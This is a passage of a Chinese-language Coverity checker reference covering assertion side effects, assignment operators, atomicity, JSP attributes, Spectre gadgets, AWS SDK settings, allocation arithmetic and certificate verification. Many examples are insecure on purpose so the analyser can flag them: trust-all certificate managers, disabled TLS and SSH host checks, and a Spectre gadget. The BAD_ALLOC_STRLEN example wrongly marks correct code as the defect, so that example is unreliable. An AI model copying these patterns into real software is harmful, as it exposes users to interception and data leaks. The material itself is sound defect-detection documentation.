    Sub Application_Start(sender As Object, e As EventArgs)
        ' Fail to set DisableMvcResponseHeader
    End Sub
End Class
```

4.12. ASSERT_SIDE_EFFECT

质量检查器

4.12.1. 概述

支持的语言：C、C++、Objective-C、Objective-C++

ASSERT_SIDE_EFFECT 报告具有其他作用的表达式被用作断言的条件表达式的一些情况。此类情况很危险，因为断言经常在生产版本中进行编译，这意味着程序在调试模式（存在断言）和生产模式下的行为不同。

C 标准库使用条件编译定义 assert() 宏。其定义通常采用以下形式：

```
#ifdef NDEBUG
#define assert(x) 1
#else
#define assert(x) if(!(x)) abort("some error message")
#endif
```

NDEBUG 宏，通常仅为非调试版本定义，可控制是否为 assert() 的参数评估。非调试版本的非评估方面是 assert() 的一项重要功能，因为它允许程序员在调试版本中包括可能代价高昂的验证，同时不会在非调试版本中产生开销。

但是，如果 `assert()` 的参数修改了程序状态（例如将变量递增），修改会发生在调试版本而不是非调试版本中。这可能导致难以检测和修复程序缺陷。

`ASSERT_SIDE_EFFECT` 检查器可在属于 `assert()` 第一个参数的布尔表达式中查找某些修改（其他作用）。其他作用由以下情况导致：

- 赋值（例如 `=`、`+=`、`-=` 或 `<<=`）。
- 递增和递减（例如 `++` 或 `--`）。
- 修改堆（例如 `Assert(new xxx)`）。
- 调用具有其他作用的函数。您可以使用 `distrust_functions` 选项指定此类函数。该分析不自动检测它们。

另外，读取具有存储类 `volatile` 的变量可能产生其他作用。例如，当变量是响应读取的设备寄存器时。此外，易失性变量可能在执行线程之外更改其值，因此它们与断言表达式的组件一样不可靠。

要让 `ASSERT_SIDE_EFFECT` 检查器发现缺陷，请确保 `NDEBUG` 未定义，从而启用条件编译的调试分支。

常用的一种编程做法是定义与断言具有相同形式和函数，但使用不同名称和实现的自定义宏。如果您使用 `macro_name_has` 选项，`ASSERT_SIDE_EFFECT` 还可以检查这些宏。由于自定义宏使用自身的 `NDEBUG` 版本，因此必须在支持扩展非调试版本自定义宏的所有项中定义、设置或取消定义。

默认启用：`ASSERT_SIDE_EFFECT` 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.12.2. 示例

本部分提供了一个或多个 `ASSERT_SIDE_EFFECT` 示例。

在下面的示例中，通过 `assert(++x)` 将 `x` 递增可能导致程序在调试和非调试版本中的行为发生改变。

```
#include<assert.h>
int ciaobello() {
    int x;
    assert(++x);           // Defect
}
```

4.12.3. 选项

本部分描述了一个或多个 `ASSERT_SIDE_EFFECT` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `ASSERT_SIDE_EFFECT:distrust_functions:<boolean>` - 当此选项被设置为 `true` 时，该检查器会将任意函数调用视为可能具有其他作用。因此，任何将已识别断言宏与函数调用一起用于其条件

中的情况都会被报告为缺陷。默认情况下，该检查器在查找缺陷时会忽略断言宏中的函数调用。默认值为 ASSERT_SIDE_EFFECT:distrust_functions:false

- ASSERT_SIDE_EFFECT:macro_name_has:<regex> - 该 C 和 C++ 选项接受正则表达式 (Perl 语法)，用以扩展一系列已识别断言宏。您可以在命令行中指定其中多个选项。默认值为 ASSERT_SIDE_EFFECT:macro_name_has:[Aa]ssert|ASSERT

如果有名称不包含 assert、ASSERT 或 Assert 的断言，请使用此选项。

示例：

```
> cov-analyze --checker-option ASSERT_SIDE_EFFECT:macro_name_has:FORCE
```

将包含字符串 FORCE 的任意宏视为断言宏。

- ASSERT_SIDE_EFFECT:macro_name_lacks:<regex> - 该 C 和 C++ 选项接受正则表达式 (Perl 语法)，用以限制一组已识别断言宏，即使宏名称与 macro_name_has 选项（包括默认值）匹配。您可以在命令行中指定其中多个选项。默认值未设置。

示例：

```
> cov-analyze 0  
--checker-option ASSERT_SIDE_EFFECT:macro_name_lacks:^HighLevelAssert$  
--checker-option 'ASSERT_SIDE_EFFECT:macro_name_has:.*LevelAssert$'
```

意味着只有 ASSERT_SIDE_EFFECT 关注的宏才是以 LevelAssert 结尾的宏，HighLevelAssert 除外。在命令行中使用单引号以告诉命令解释器不要在文件名扩展中使用 *。

4.12.4. 事件

本部分描述了 ASSERT_SIDE_EFFECT 检查器生成的一个或多个事件。

- assert_side_effect : 断言的参数具有其他作用。
- assignment_where_compare_intended : 赋值使用 =，原本可能打算使用 ==。

4.13. ASSIGN_NOT_RETURNING_STAR_THIS

质量、规则检查器

4.13.1. 概述

支持的语言：. C++

ASSIGN_NOT_RETURNING_STAR_THIS 报告赋值运算符成员函数未返回接收对象 *this 作为非常量对象的引用的很多情况。此类情况导致的后果是无法按照与内置运算符相同的方式使用运算符，而且某些情况下，尝试这样做会导致难以理解的逻辑错误。

内置和编译器生成的赋值运算符会被推导为被赋值对象，因此为了确保一致性，所有用户自定义的赋值运算符都应执行相同操作。该检查器仅考虑可用于为全体对象赋值的赋值运算符，排除私有运算符（假设不打算使用它们）。ASSIGN_NOT_RETURNING_STAR_THIS 检查器可报告不同类别的问题：

- 赋值运算符被声明为返回其他类型，例如 `void` 或除了包含类类型之外的任何类型。
- 赋值运算符声明了正确的返回类型，但声明部分中返回的是值或指向常量的引用。
- 赋值运算符被声明为返回正确的类型，但在函数本体中返回的对象不是 `*this`。

默认禁用：`ASSIGN_NOT_RETURNING_STAR_THIS` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

4.13.2. 示例

本部分提供了一个或多个 `ASSIGN_NOT_RETURNING_STAR_THIS` 示例。

简单的整数封装类：

```
class MyInteger {
    int i;
public:
    MyInteger(int ii = 0) : i(ii) {}
    // wrong return type
    void operator=(const MyInteger &rhs)
    {
        if (this != &rhs) {
            i = rhs.i;
        }
    }
}
```

这将导致无法按下边的写法赋值：

```
MyInteger a, b;
// ...
a = b = 42;
```

对于内置类型，这是常见做法。

下面的代码比较接近，但仍不正确：

```
...
MyInteger operator=(const MyInteger &rhs)
{
    if (this != &rhs) {
        i = rhs.i;
    }
    // returning the right object, but by value
    return *this;
}
```

或者

```
...
const MyInteger &operator=(const MyInteger &rhs)
{
    if (this != &rhs) {
        i = rhs.i;
    }
    // returning a reference to const
    return *this;
}
```

最后，返回类型可能完全是正确的，但函数可能返回错误的对象（即，除 `*this` 之外的任何对象）：

```
...
// the exactly correct return type
MyInteger &operator=(const MyInteger &rhs)
{
    if (this != &rhs) {
        i = rhs.i;
    }
    return rhs; // should be *this (i.e., "lhs")
}
```

4.13.3. 事件

本部分描述了 `ASSIGN_NOT_RETURNING_STAR_THIS` 检查器生成的一个或多个事件。

- `assign_returning_void` - 赋值运算符的已声明返回类型为 `void`。
- `assign_returning_incorrect_type` - 赋值运算符的已声明非 `void` 返回类型不是包含类类型。
- `assign_returning_const` - 赋值运算符的已声明返回类型正确，但它是常量的引用。
- `assign_returning_by_value` - 赋值运算符的已声明返回类型正确，但它是通过值而不是作为引用声明的。
- `assign_returning_incorrect_value` - 赋值运算符返回对象，而不是 `*this`。
- `assign_indirectly_returning_star_this` - 赋值运算符返回调用另一个成员函数（返回 `*this`）的结果。

4.14. ATOMICITY

质量检查器、并发检查器

4.14.1. 概述

支持的语言：. C、C++、Go、Java、Objective-C、Objective-C++

ATOMICITY 可报告代码包含两个按顺序排列的关键区，但看起来应该将其合并成一个关键区（这是因为后一个关键区使用在前一个关键区中计算的数据，但在两者之间数据可能失效）的一些情况。这是一种并发竞态条件形式。

对于 C/C++，此检查器可查找未为关键区提供足够大小以保护变量的一类缺陷。例如，假设各次读取和写入通过锁保护，但整个操作未得到保护。此类情况可能导致不一致的结果。

对于 Java，此检查器可检查在关键区中定义值 v 的情况。如果 v 流入使用 v 的另一个关键区（使用定义 v 时所用的同一个锁），该检查器将报告缺陷。此检查器可跟踪通过同步方法、同步块和 `java.util.concurrent.locks.Lock` 对象定义的关键区。

C、C++、Go、Objective-C、Objective-C++：

- 默认禁用：ATOMICITY 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。
并发检查器启用：要同时启用 ATOMICITY 以及其他默认禁用的并发检查器，请在 cov-analyze 命令中使用 `--concurrency` 选项。

Java：

- 默认禁用：ATOMICITY 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

4.14.2. 示例

本部分提供了一个或多个 ATOMICITY 示例。

4.14.2.1. C/C++

在下面的示例中，x 的值可能在锁之间发生变化，因此 v 可能过时。

```
typedef struct
{
    int __m_lock;
} pthread_mutex_t;

extern "C" int pthread_mutex_lock( pthread_mutex_t* );
extern "C" int pthread_mutex_unlock( pthread_mutex_t* );

int x = 0;
int getx(){ return x++; }

void changeStructField( pthread_mutex_t * mtx)
{
    int u, v;

    pthread_mutex_lock(mtx);
    v = getx();
    pthread_mutex_unlock(mtx);

    pthread_mutex_lock(mtx);
```

```

    u = v;
    pthread_mutex_unlock(mtx);
}

```

4.14.2.2. Go

在下面的示例中，`x` 首先被设置为带锁的 `f.v`，然后将其值存储到 `f.v`。但是，`x` 的值可能会被两个锁之间的其他线程更改。

```

type foo struct {
    v int
};

func changeStructField(f * foo, mutex * sync.Mutex) {
    mutex.Lock()
    x := f.v
    mutex.Unlock()

    x++

    mutex.Lock()
    f.v = x      //#defect#ATOMICITY
    mutex.Unlock()
}

```

4.14.2.3. Java

```

public class AtomicityTest {
    private int value;

    public synchronized int get() { return value; }

    public synchronized void put(int v) { value = v; }

    public void increment() {
        int tmp = get();
        put(tmp + 1); // Defect: desired value for tmp might have changed
    }
}

```

4.14.3. 事件

本部分描述了 ATOMICITY 检查器生成的一个或多个事件。

- `lock` - [C/C++] 调用开始关键区的锁定函数。
`lock` - [Java] 在第一个锁定环境中获取锁。
- `unlock` - 调用结束关键区的解锁函数。
- `def` - [C/C++] 在关键区内定义变量。

`def` - [Java] 定义稍后将用于其他锁定环境中的变量。

- `lockagain` - [C/C++] 调用开始另一个关键区的锁定函数。
- `lock_again` - [Java] 重新获取标记第二个锁定环境开始的锁。
- `non_thread_safe_use` - [Java] 在同步方法中使用过时的值。与 (`lock_again, use`) 等效。
- `return_from_sync` - [Java] 调用同步方法并存储返回值。与 (`lock, def, unlock`) 等效。
- `unlock` - [Java] 释放标记第一个锁定环境结束的锁。
- `use` - [C/C++] 在包含变量定义的关键区之外使用变量。
- `use` - [Java] 在第二个锁定环境中使用变量的过时值。

4.15. ATTRIBUTE_NAME_CONFLICT

质量、安全 (Java) 检查器

4.15.1. 概述

支持的语言 : . Java

`ATTRIBUTE_NAME_CONFLICT` 报告在单个 JSP 标记中错误地重复的属性。这个语法是无效的，但是它被一些 servlet 容器和 JSP 编译器所容忍。呈现文档的行为是不确定的。该错误的影响取决于特定的标记和属性，其求值是否具有其他作用以及值是如何冲突的。一些标记使用属性来控制安全相关的行为，例如输出转义。

Web 应用程序安全检查器启用：要启用 `ATTRIBUTE_NAME_CONFLICT` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

默认禁用：`ATTRIBUTE_NAME_CONFLICT` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

4.15.2. 缺陷剖析

`ATTRIBUTE_NAME_CONFLICT` 缺陷的主要事件出现在有问题的元素或标记处。它命名已被复制的属性。

4.15.3. 示例

本部分提供了一个或多个 `ATTRIBUTE_NAME_CONFLICT` 示例。

4.15.3.1. Java

存在安全隐患的简单示例：

```
<c:out escapeXml="true" value = "${bean.property.x.value}" escapeXml="false"/>
```

复杂标记中的相互矛盾的属性可能难以发现：

```
<ui:chart name="quarterlyReport" borderColor="#000000" border="2"
    minWidth="100" minHeight="100" defaultWidth="150" defaultHeight="150"
    bgColor="#000000" pad="5" border="1">
    <ui:chartData data="this_quarter" />
    <ui:chartData data="last_quarter" />
</ui:chart>
```

4.16. AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK

安全检查器

4.16.1. 概述

支持的语言： C、C++、Objective C 和 Objective C++

AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK 可查找可能导致敏感进程（例如内核或虚拟机）易受“幽灵”攻击的代码模式。此检查器查找的代码模式可能允许攻击者读取进程内存。

该检查器查找以下情况：值 V 与另一个值进行比较；攻击者可以使用 V 作为索引来访问某内存。访问该内存得到的结果随后将用于访问甚至更多内存。具体来说，检查器查找值 V 被检查是否在范围内的情况。该检查的形式可以是等式检查、不等式检查或检查函数调用的返回值。

如果值 V 可以被攻击者控制，则攻击者可以使用该值来公开数据，因为当缓存丢失阻止立即求值比较时，该比较可能会被 CPU 推测性地忽略。这意味着存在攻击者访问进程地址空间中的任何值 W 的潜在可能性。当该 W 随后被用于访问更多内存时，它对 CPU 缓存的影响随后可能被用来检索关于 W 的信息。

AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK 在默认情况下处于禁用状态。要启用，请使用 -en AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK。

4.16.2. 示例

本部分提供了一个或多个 AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK 示例。

4.16.2.1. C/C++ 和 Objective C/C++

在下面的示例中，index 是与 array_size 进行比较的 V；arr2[index] 是在上面的“概述”部分提到的 W。

```
if(index < array_size) {
    int i = arr1[arr2[index]];
}
```

要抑制此缺陷并防止推测性执行，请在比较之后和内存访问之前插入屏障指令；例如：

```

if(index < array_size) {
    _mm_lfence();
    int i = arr1[arr2[index]];
}

```

有关此示例的更多讨论，请参阅 <https://spectreattack.com/spectre.pdf>。

4.16.3. 选项

本部分描述了一个或多个 AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: eq_compare_to_any:<bool>
 - 如果为 true，该检查器将假设比较可以是任何类型的等式比较。在上面的示例中，index < array_size 可以是 index == array_size - 1。默认值为 AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: eq_compare_to_any:false
- AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: max_sensitive_read_size:<int>
 - 可以使用推测越界读取到值中的最大字节数；越界如此严重，以致于如果使用该值进行内存访问，可以使用旁路攻击来推测该值。在示例模式中，这对应于 arr2[index] 的大小。默认值为 AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: max_sensitive_read_size:"2"。
- AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: report_all_nested_mem_accesses:<bool>
 - 如果为 true，此检查器不会查找针对内存访问索引的比较，并报告所有嵌套内存访问。在上面的示例中，它会报告所有 arr1[arr2[index]]。
 请注意，启用此选项会导致报告非常大量的缺陷。默认值为 AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: report_all_nested_mem_accesses:false。
- AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: speculative_uninitialized_use:<bool>
 - 如果为 true，该检查器将在以下情况下报告缺陷：嵌套内存访问中使用的索引仅在进程间初始化。根据编译器产生的代码，可能发生推测性存储旁路。这样会允许初始化之前发生内存访问，从而导致使用未初始化的值作为加载地址。这可能使攻击者读取到敏感信息。默认值为 AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: speculative_uninitialized_use:false。
- AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: uncached_constants:<bool>
 - 如果为 true，该检查器将假设获取常量值时不可能丢失缓存：在示例模式中，我们不考虑 array_size 为常量的情况。默认值为 AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK: uncached_constants:"true"。

4.17. AWS_SSL_DISABLED

4.17.1. 概述

支持的语言：. JavaScript、TypeScript

AWS_SSL_DISABLED 检查器查找在 AWS 配置中 sslEnabled 属性被设置为 false 的情况。这可能会导致在攻击者可以读取和修改的不安全通信通道上传输敏感数据。

AWS_SSL_DISABLED 检查器默认禁用。要启用它，请使用 cov-analyze 命令的 --webapp-security 选项。

4.17.2. 示例

本部分提供了一个或多个 AWS_SSL_DISABLED 示例。

在下面的示例中，如果在方法 AWS.Config() 的第一个参数中将 sslEnabled 属性设置为 false，则显示 AWS_SSL_DISABLED 缺陷：

```
var AWS = require('aws-sdk');

var config = new AWS.Config({
    accessKeyId: 'AKID',
    secretAccessKey: 'SECRET',
    region: 'us-west-2',
    sslEnabled: false //AWS_SSL_DISABLED defect
});
```

4.18. AWS_VALIDATION_DISABLED

4.18.1. 概述

支持的语言：. JavaScript、TypeScript

AWS_VALIDATION_DISABLED 检查器查找 aws-sdk 中间件全局禁用参数或凭证验证的情况。此类验证可能允许攻击者欺骗受信任的实体，并导致系统的某些部分接收意外输入，从而导致更改控制流、任意控制资源或执行任意代码。

AWS_VALIDATION_DISABLED 检查器默认禁用。您可以使用 cov-analyze 命令的 -webapp-security 选项启用它。

4.18.2. 示例

本部分提供了一个或多个 AWS_VALIDATION_DISABLED 示例。

在下面的示例中，显示了一个 AWS_VALIDATION_DISABLED 缺陷，其中 aws-sdk 中间件通过删除 VALIDATE_PARAMETERS 倾听器来全局禁用参数验证：

```
var AWS = require('aws-sdk');
var uuid = require('node-uuid');

AWS.EventListeners.Core.removeListener('validate',
    AWS.EventListeners.Core.VALIDATE_PARAMETERS);
```

4.19. BAD_ALLOC_ARITHMETIC

质量检查器

4.19.1. 概述

支持的语言 : . C、C++、Objective-C、Objective-C++

BAD_ALLOC_ARITHMETIC 可查找对分配程序进行调用，并且在使用 - 或 + 运算符时将圆括号位置放错的很多情况。它会在看起来用户打算调用 malloc(x+y) 或 malloc(x-y) 的位置搜索 malloc(x)+y 或 malloc(x)-y。这些错误会导致分配不足或分配过度以及非正常指针算术运算，而在尝试将数据复制到生成的缓冲区中时，这些情况又会导致内存损坏或潜在的安全漏洞。

默认启用：BAD_ALLOC_ARITHMETIC 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.19.2. 示例

本部分提供了一个或多个 BAD_ALLOC_ARITHMETIC 示例。

在下面的示例中，char *p 和 char *p2 都包含分配错误：

```
typedef unsigned long size_t;
extern "C" void * malloc( size_t size );
extern "C" int free(void *);

void badAllocArithmetic(int a, int b, char **p1, char **p2)
{
    *p1 = (char *)malloc(a)+b;      // #defect#BAD_ALLOC_ARITHMETIC
    *p2 = (char *)malloc(a)-b;      // #defect#BAD_ALLOC_ARITHMETIC
}
```

4.19.3. 事件

本部分描述了 BAD_ALLOC_ARITHMETIC 检查器生成的一个或多个事件。

- bad_alloc_arithmetic - 在 + 运算符的操作数中调用 foo_alloc 可能导致分配不足。
- bad_alloc_arithmetic - 在 - 运算符的操作数中调用 foo_alloc 可能导致分配过度。

4.20. BAD_ALLOC_STRLEN

质量检查器

4.20.1. 概述

支持的语言 : . C、C++、Objective-C、Objective-C++

BAD_ALLOC_STRLEN 可在发现 strlen(p+1) 被用作分配位置信息的 size 参数时报告缺陷。假设开发人员打算用 strlen(p)+1 指明 p 的长度加上一个额外的字节（针对 null 终止符），strlen(p+1) 未定义（当 p 长度为零时）并且其他情况下使用 strlen(p)-1。结果是分配结果可能发生缓冲

区越界访问并且/或者出现未定义行为（当 `p` 长度为零时）。此缺陷几乎始终都会导致在将数据复制到新缓冲区时发生缓冲区溢出。

默认启用：`BAD_ALLOC_STRLEN` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

4.20.2. 示例

本部分提供了一个或多个 `BAD_ALLOC_STRLEN` 示例。

```
char *clone_name(char *name) {
    char *new_name = NULL;
    if (name) {
        new_name = (char*)malloc(strlen(name)+1); //bad_alloc_strlen
        strcpy(new_name, name);
    }
    return new_name;
}
```

4.20.3. 选项

本部分描述了一个或多个 `BAD_ALLOC_STRLEN` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `BAD_ALLOC_STRLEN:report_plus_any:<boolean>` - 当此选项被设置为 `true` 时，该检查器将针对使用字符串长度加上任意整数的缓冲区分配报告缺陷。它会报告用于任意常量 `C` (而不仅是 1) 的 `strlen(p+C)`。默认情况下，它仅会在使用字符串长度加 1 时报告缺陷。默认值为 `BAD_ALLOC_STRLEN:report_plus_any:false`

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `medium` (或 `high`)，则该检查器选项会自动设置为 `true`。

4.20.4. 事件

本部分描述了 `BAD_ALLOC_STRLEN` 检查器生成的一个或多个事件。

- `bad_alloc_strlen` - 缓冲区未正确分配。

4.21. BAD_CERT_VERIFICATION

安全检查器

4.21.1. 概述

支持的语言：. Go、Java、JavaScript、Kotlin、Ruby、Python、Swift、TypeScript

BAD_CERT_VERIFICATION 可查找不完整或不正确验证安全证书的情况 (CWE 295 和 CWE 296)。不正确检查证书会使系统易受“中间人”攻击，这可让攻击者窃听或干扰会话中的通信。

数字安全证书使用公钥密码来实现双方之间的安全通信。安全证书由可信任的证书颁发机构 (CA) 颁发。证书链是以目标证书 (您想验证的证书) 开始并以信任定位标记结束的一系列证书。该证书链中的每个证书都为前一个证书负责。

默认禁用 - Java、JavaScript、Python、TypeScript : BAD_CERT_VERIFICATION 默认对 Java、JavaScript、Python 和 TypeScript 禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

默认启用 - Go、Kotlin、Ruby、Swift : BAD_CERT_VERIFICATION 默认对 Go、Kotlin、Ruby 和 Swift 启用。

Web 应用程序安全检查器启用 : 要与其他 Web 应用程序安全检查器一起启用 BAD_CERT_VERIFICATION，请在 cov-analyze 命令中使用 --webapp-security 选项。

Android 安全检查器启用 : 要与其他 Java Android 安全检查器一起启用 BAD_CERT_VERIFICATION，请在 cov-analyze 命令中使用 --android-security 选项。

4.21.1.1. JavaScript 和 TypeScript

当在 `tls`、`https`、`restify`、`request`、`ws` 或 `socket.io-client` 中间件的配置中禁用 `rejectUnauthorized` 属性时，或者当 `tls` 中间件的 `connect()` 函数中的 `checkServerIdentity` 属性无法验证主机名是否与证书匹配时，将报告 JavaScript 或 TypeScript 的 BAD_CERT_VERIFICATION 缺陷。

如果设置为属性 `checkServerIdentity` 的函数是一个空函数、一个不返回 `undefined` 的函数，或者返回 `undefined` 但在证书不正确时不抛出错误的函数，它不会验证主机名是否与证书中使用的主机名匹配。这可能允许攻击者通过使用中间人攻击来欺骗可信实体。

4.21.1.2. Python

Python 的 BAD_CERT_VERIFICATION 检查器可以发现以下情况：

- 在 Python HTTP 库 `requests` 的请求方法中，参数 `verify` 被显式设置为 `False`；
- 在 Python SSHv2 协议库 `paramiko` 的 `paramiko.client.SSHClient.set_missing_host_key_policy()` 函数中，主机验证策略被显式设置为 `paramiko.client.AutoAddPolicy` 或 `paramiko.client.WarningPolicy`。

4.21.2. 缺陷剖析

BAD_CERT_VERIFICATION 缺陷包含对 Java/Android SSL 库的不安全使用。该缺陷的具体结构取决于使用的特定 API。对于 `X509TrustManager`，该检查器可针对接受任意证书链的实现报告缺陷。`X509TrustManager checkServerTrusted` 和 `checkClientTrusted` 方法抛出 `Certificate` 异常以指明证书链无效。Coverity 将在以下方法之一中报告缺陷，如果存在通过该方法的执行路径以致：

- 没有异常可以规避该方法 (例如 `catch` 语句未后跟 `throw`)。

- 该证书链未进行检查。

`HostnameVerifier.verify` 方法将返回布尔值，以表明主机名验证是否成功。该检查器将报告缺陷，如果存在此方法的实现以致：

- 它在所有路径上都返回布尔常量 `true`。
- 存在返回 `true` 的路径，但主机名或会话未进行检查。

如果存在对 `org.apache.http.conn.ssl.SSLSocketFactory.setHostnameVerifier` (其中参数为 `SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER`) 的调用，该检查器也将报告缺陷。最后，如果用户通过调用 `PKIXParameters.setRevocationEnabled(false)` 禁止证书撤销检查，该检查器将报告缺陷。

针对 Swift 的 `BAD_CERT_VERIFICATION` 缺陷反映了对多点连接或 CoreFoundation 框架的不安全使用。该缺陷的结构取决于使用的特定 API。

- 对于多点连接框架，当定义 `MCSessionDelegate session(_: MCSession, didReceiveCertificate: [Any]?, fromPeer: MCPeerID, certificateHandler: @escaping (Bool) -> Void)` 且将 `certificateHandler` 参数在所有路径上设置为 `true` 时，Coverity 会报告缺陷。
- 对于 CoreFoundation 框架，在存在以下情况时，Coverity 会报告缺陷：
 - `kCFStreamPropertySSLSetting` 词典包含等于 `true` 的键 `kCFSStreamSSLValidatesCertificateChain`。
 - `kCFStreamPropertySSLSetting` 词典包含等于 `false` 或未指定的键 `kCFSStreamSSLIsServer`。
 - `kCFStreamPropertySSLSetting` 词典包含未指定的键 `kCFSStreamPropertySSLPeerTrust`。

当在使用标准库或各种 gems 进行 HTTP 通信的代码中禁用证书验证时，针对 Ruby 报告 `BAD_CERT_VERIFICATION` 缺陷。

对于 Go，`BAD_CERT_VERIFICATION` 检查器在以下情况下报告缺陷：

- 当 `ssh.InsecureIgnoreHostKey()` 函数被用作 `ClientConfig.HostKeyCallback` 值时，它允许攻击者通过使用中间人攻击来欺骗受信任的实体。
- 当 `crypto/tls.Config.InsecureSkipVerify` 被设置为 `true` 时，`crypto/tls.Config.VerifyConnection` 和 `crypto/tls.Config.VerifyPeerCertificate` 都不会被启用。这会禁用 TLS 证书验证，从而导致不安全的连接和潜在的中间人攻击。

4.21.3. 示例

本部分提供了一个或多个 `BAD_CERT_VERIFICATION` 示例。

4.21.3.1. Go

以下 Go 代码是将标记为 BAD_CERT_VERIFICATION 问题的代码示例：crypto/tls.Config.InsecureSkipVerify 被设置为 true 且未与 crypto/tls.Config.VerifyConnection 或 crypto/tls.Config.VerifyPeerCertificate 一起使用。

```
package tls

import "crypto/tls"

func main() {
    tls.Dial("tcp", "localhost:443", &tls.Config{
        InsecureSkipVerify: true, // Defect Here
    })
}
```

4.21.3.2. Java

考虑 X509TrustManager 接口的以下实现：

```
TrustManager tm = new X509TrustManager() {
    @Override
    public X509Certificate[] getAcceptedIssuers() {
        return null;
    }
    @Override
    public void checkServerTrusted(X509Certificate[] chain, String authType)
        throws CertificateException {} // Defect here.
    @Override
    public void checkClientTrusted(X509Certificate[] chain, String authType)
        throws CertificateException {} // Defect here.
};
```

因为 checkServerTrusted 和 checkClientTrusted 的实现绝不会抛出 CertificateException，所以此信任管理器将接受任何证书。这会让用户易受“中间人”攻击。

确保服务器提供有效证书链不足以确保该连接安全。您还需要检查该证书是否与正确的主机真正关联。考虑不安全证书验证的另一个示例：

```
HostnameVerifier hv1 = new HostnameVerifier() {
    @Override
    public boolean verify(String hostname, // Defect here.
        SSLSession session) {
        return true;
    }
};
```

HostnameVerifier.verify 方法的实现始终返回 true 并接受所有主机。这将允许连接至提供有效证书的任何服务器，使用户易受重定向或欺骗攻击。

最后，考虑禁用撤销证书检查的以下代码：

```
PKIXParameters param = new PKIXParameters(new HashSet<TrustAnchor>());
param.setRevocationEnabled(false); // Defect here.
```

对于 Android 应用程序，BAD_CERT_VERIFICATION 检查器会标记 android.webkit.SslErrorHandler.proceed() 在 android.webkit.WebViewClient.onReceivedSslError() 中被盲目回调的情况，这意味着连接将始终继续进行失败的 SSL 验证。

在下面的示例中，针对 proceed() 函数显示了 BAD_CERT_VERIFICATION 缺陷，因此此函数允许从不安全的服务器加载内容：

```
import android.net.http.SslError;
import android.webkit.SslErrorHandler;
import android.webkit.WebResourceRequest;
import android.webkit.WebView;
import android.webkit.WebViewClient;
class defect1 extends WebViewClient
{
    @Override
    public void onReceivedSslError(WebView view, final SslErrorHandler handler,
        SslError error) {
        handler.proceed(); // defect here
    }
}
```

4.21.3.3. JavaScript、TypeScript

在下面的示例中，针对 tls 中间件的 connect() 函数中的 checkServerIdentity 属性显示了 BAD_CERT_VERIFICATION 缺陷，因为此函数返回了 undefined，并且不验证证书中指定的主机名。

针对在 https 中间件的 request() 函数中设置为 false 的 rejectUnauthorized 属性，显示了另一个 BAD_CERT_VERIFICATION 缺陷，因为它不拒绝无效的证书：

```
var tls = require('tls');
var https = require('https');

var socket1 = tls.connect({
    port: 1337,
    host: 'https://example1.com',
    rejectUnauthorized: true,
    checkServerIdentity: function(servername, peer) {
        const good = '77:53:28:AD:42:B1:04:F7:49:2B:C7:C7:7B:2A:84:64:EA:0B:1F:CE';
        const bad = 'mismatch';
        console.log('Woohoo, www.google.com is using our pinned fingerprint');
        return undefined;
    },
    () => {
        console.log('client connected');
    });
});
```

```
socket1.on('error', (data)=> {
    console.log(data);
});

var req = https.request({port: 1336, host: 'https://example2.com', rejectUnauthorized:
    false}, function(){
    console.log('client connected');
});
```

4.21.3.4. Kotlin

考虑 X509TrustManager 接口的以下错误实现。

```
TrustManager tm = object : X509TrustManager {
    override fun getAcceptedIssuers(): Array<X509Certificate>? = arrayOf()
    override fun checkServerTrusted(certificates: Array<X509Certificate>?, authType:
        String?) = Unit
    override fun checkClientTrusted(certificates: Array<X509Certificate>?, authType:
        String?) = Unit
};
```

该信任管理器将接受任何证书，并导致用户容易受到中间人攻击。

以下示例显示了一个不安全的证书验证：

```
HostnameVerifier { _, _ -> true } //Defect here
```

Lambda 构成 HostnameVerifier.verify 方法的实现并接受所有主机。这将允许连接至提供有效证书的任何服务器，使用户易受重定向或欺骗攻击。

最后，考虑禁用撤销证书检查的以下代码：

```
val param = PKIXParameters(setOf())
    param.isRevocationEnabled = false // Defect here.
```

4.21.3.5. Python

在下面的示例中，针对在 requests.get() 函数中将参数 verify 设置为 False，显示了 BAD_CERT_VERIFICATION 缺陷：

```
import requests
response = requests.get('https://gmail.com', verify=False) # defect here
```

在下面的示例中，针对在 paramiko.client.SSHClient.set_missing_host_key_policy() 函数中将主机验证策略设置为 paramiko.client.AutoAddPolicy，显示了 BAD_CERT_VERIFICATION 缺陷。

```
from paramiko.client import SSHClient, AutoAddPolicy
```

```
def unsafe_connect():
    client = SSHClient()
    client.set_missing_host_key_policy(AutoAddPolicy) # defect here
    client.connect("example.com")
```

4.21.3.6. Ruby

